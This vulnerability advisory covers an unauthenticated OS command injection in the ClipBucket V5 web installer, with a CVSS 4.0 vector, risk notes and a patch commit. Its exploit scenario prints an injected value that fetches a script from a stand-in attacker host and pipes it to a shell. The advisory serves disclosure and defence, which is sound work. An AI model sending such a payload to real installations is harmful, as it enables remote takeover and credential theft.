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CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network POST with low complexity yields command execution and full C/I/A impact; the installer-reachable precondition maps to CVSS 4.0 AT:P rather than a 3.1 metric.
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CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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ClipBucket V5's web installer fails to properly validate or escape the php_cli_filepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious php_cli_filepath value to execute arbitrary commands as the web server user.
AnalysisAI
OS command injection in ClipBucket V5's web installer (versions 5.5.1 through 5.5.3-#153) lets unauthenticated remote attackers run arbitrary shell commands as the web server user by supplying a crafted php_cli_filepath value in a POST request to the installer. The flaw stems from the installer passing this parameter unescaped into a shell command that invokes the PHP CLI. …
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| Exploitation | Exploitation requires that the ClipBucket V5 web installer (the cb_install endpoint) be network-reachable and in an executable/active state - this is the AT:P attack requirement and the primary limiting factor, since production deployments that remove or block the installer after setup are not exposed. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue for exposed instances, not merely a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker locates an internet-exposed ClipBucket V5 instance whose installer is still reachable and sends a single crafted POST request setting php_cli_filepath to something like `/usr/bin/php; curl http://evil/x | sh`, causing the shell to execute the injected command as the web server user. From there they establish a foothold, read configuration/database credentials, and pivot. … |
| Remediation | Update to the patched build containing commit 36e7c6cfd81f62a091d2aeef96a8fc2fc2d85dc4 (changelog revision 176, the 5.5.3 line), which validates the path with realpath()/is_file()/is_executable() and applies escapeshellarg() before shell execution; consult the VulnCheck advisory and the GitHub commit (https://github.com/MacWarrior/clipbucket-v5/commit/36e7c6cfd81f62a091d2aeef96a8fc2fc2d85dc4) for exact release details. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Within 24 hours, verify whether ClipBucket's web installer is still accessible on any production or staging systems and restrict access if found. …
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EUVD-2026-66195
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